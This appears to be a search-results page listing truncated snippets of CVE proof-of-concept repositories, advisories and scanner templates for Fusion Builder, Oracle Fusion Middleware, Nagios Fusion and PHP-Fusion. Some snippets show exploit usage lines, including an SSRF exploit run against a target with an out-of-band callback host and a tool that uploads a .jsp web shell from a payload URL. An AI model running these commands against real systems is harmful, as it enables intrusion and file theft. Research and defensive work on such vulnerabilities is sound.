CVE-2026-59346-POC

CVE-2026-59346 — VMXNET3 TSO Integer Overflow VMware Workstation / Fusion Proof-of-concept for a 32-bit integer overflow in the VMXNET3 virtual NIC's TSO segmentation path in vmware-vmx, reachable from a guest VM. This issue is patched. The PoC is published for research and defensive purposes onl...

CVE-2022-1386

CVE-2022-1386 - Fusion Builder 3.6.2 - Unauthenticated SSRF Description Fusion Builder is a WordPress plugin that allows users to create and edit pages using a drag-and-drop interface. It is vulnerable to an unauthenticated SSRF that allows an attacker to read any file on the server. Proof of...

fubucker

Fubucker | CVE-2022-1386 - Fusion Builder Automatic Mass Tool for checking vulnerability in CVE-2022-1386 - Fusion Builder install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh Install JQ Linux : command apt-get install jq -y Windows : For WSL just d...

CVE-2022-1386-FusionBuilder-SSRF

CVE-2022-1386 – Fusion Builder Example: python3 exploitcve20221386.py https://vulnerable.site https://abc123.oast.fun Use Interact.sh or Burp Collaborator to receive the callback. 📋 Sample Output Fetching nonce from target... Sending SSRF payload to https://abc123.oast.fun... + SSRF confirmed:...

CVE-2026-6307-Longinus

CVE-2026-6307-Longinus Type Confusion in V8 TurboFan JS-to-Wasm call inlining + FrameState merging Better Known as 'Longinus': 2 Boundaries in One Bug Repository: https://github.com/J4ck3LSyN-Gen2/CVE-2026-6307-Longinus Detailed Report: OS-IS-CVE-2026-6307-07-2026.md Technical Write-up: Nebula...

pwnacle-fusion

pwnacle-fusion Automated exploit for Oracle Reports, CVE-2012-3153 / CVE-2012-3152 Credits to @misssudo for the disclosure Usage: ./pwnacle.rb targeturl payloadurl This exploit uses both CVEs to upload a .jsp shell from your payloadurl which is then reachable from /reports/images/shell.jsp...

DeeCLIP

DeeCLIP: A Robust and Generalizable Transformer-Based Framework for Detecting AI-Generated Images ☀️ If you find this work useful for your research, please kindly star our repo and cite our paper! ☀️ TODO We are working hard on the following items: Release ArXiv paper Release training scripts...

CVE-2022-1386

Description Fusion Builder is a WordPress plugin that allows users to create and edit pages using a drag-and-drop interface. It is vulnerable to an unauthenticated SSRF that allows an attacker to read any file on the server. Proof of Concept Request: POST /wp-admin/admin-ajax.php HTTP/1.1 Host:...

Avada Builder (fusion-builder) <= 3.15.2 - Unauthenticated RCE via PHP Function Injection

The Avada Builder fusion-builder plugin for WordPress versions = 3.15.2 is vulnerable to unauthenticated remote code execution via PHP function injection. The fusiongetwidgetmarkup AJAX action is registered for unauthenticated users wpajaxnoprivfusiongetwidgetmarkup and is gated only by...

signalops

SignalOps SignalOps puts what is transmitting around a location on one map: Wi-Fi and Bluetooth devices, cell towers, exposed and public cameras, aircraft, satellites, ships and RF networks. It runs on your own machine. There is no account and no cloud backend. What it finds Wireless and cellular...

security-research

Security Research A collection of files related to my personal security research. Additional content will be posted on my blog https://blog.mirch.io. Tools Tool| Description ---|--- openssldircheck| Windows utility to check for potential insecure paths used by the OPENSSLDIR build parameter in...

2FA-Bypass-using-a-Brute-Force-Attack-CVE-2025-60424

2FA Bypass Using a Brute Force Attack Overview The Nagios Fusion application version 2024R1.2 and 2024R2 is vulnerable to a Brute-Force attack on its Two-Factor Authentication 2FA mechanism. Specifically, the 2FA implementation does not adequately enforce rate-limiting or account lockout...

Session-Persistence-After-Enabling-2FA-CVE-2025-60425

Session Persistence After Enabling 2FA Overview The Nagios Fusion application version 2024R1.2 and 2024R2 contains a high security flaw where existing sessions remain valid even after enabling Two-Factor Authentication 2FA. Specifically, when 2FA is enabled for an administrator account, the...

Vulnerabilities in Oracle Fusion Middleware

Oracle has identified several vulnerabilities in various products, including the Oracle SOA Suite, Oracle WebLogic Server, Oracle Data Integrator, Oracle Identity Manager, Oracle Access Manager, Oracle WebCenter Content, Oracle Fusion Middleware including Helidon, and Oracle HTTP Server. These...

CVE-2026-8713

CVE-2026-8713 — Avada Fusion Builder WordPress Exploit Pre-Auth Path Traversal → Arbitrary File Delete → Force Reinstall → RCE Overview CVE-2026-8713 is a CVSS 9.1 critical vulnerability in the Avada Fusion Builder plugin/theme for WordPress. The maybedeletefiles function in the FusionFormDBEntri...

Oracle Fusion Middleware WebCenter Sites - Cross-Site Scripting

The Oracle WebCenter Sites component of Oracle Fusion Middleware is susceptible to multiple instances of cross-site scripting that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebCenter Sites. Impacted versions that are affected are 11.1.1.8.0, 12.2.1.2....

PHP-Fusion 9.03.50 - Remote Code Execution

PHP-Fusion 9.03.50 downloads/downloads.php allows an authenticated user not admin to send a crafted request to the server and perform remote command execution. id: CVE-2020-24949 info: name: PHP-Fusion 9.03.50 - Remote Code Execution author: geeknik severity: high description: PHP-Fusion 9.03.50...

Oracle Business Intelligence - Path Traversal

Oracle Business Intelligence versions 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0 are vulnerable to path traversal in the BI Publisher formerly XML Publisher component of Oracle Fusion Middleware subcomponent: BI Publisher Security. id: CVE-2019-2588 info: name: Oracle Business Intelligence - Path...

WordPress Fusion Builder <3.6.2 - Server-Side Request Forgery

WordPress Fusion Builder plugin before 3.6.2 is susceptible to server-side request forgery. The plugin does not validate a parameter in its forms, which can be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application's response. An attacker can...

Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)

An unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown vectors related to Report Server Component. id: CVE-2012-3153 info: name: Oracle Forms &...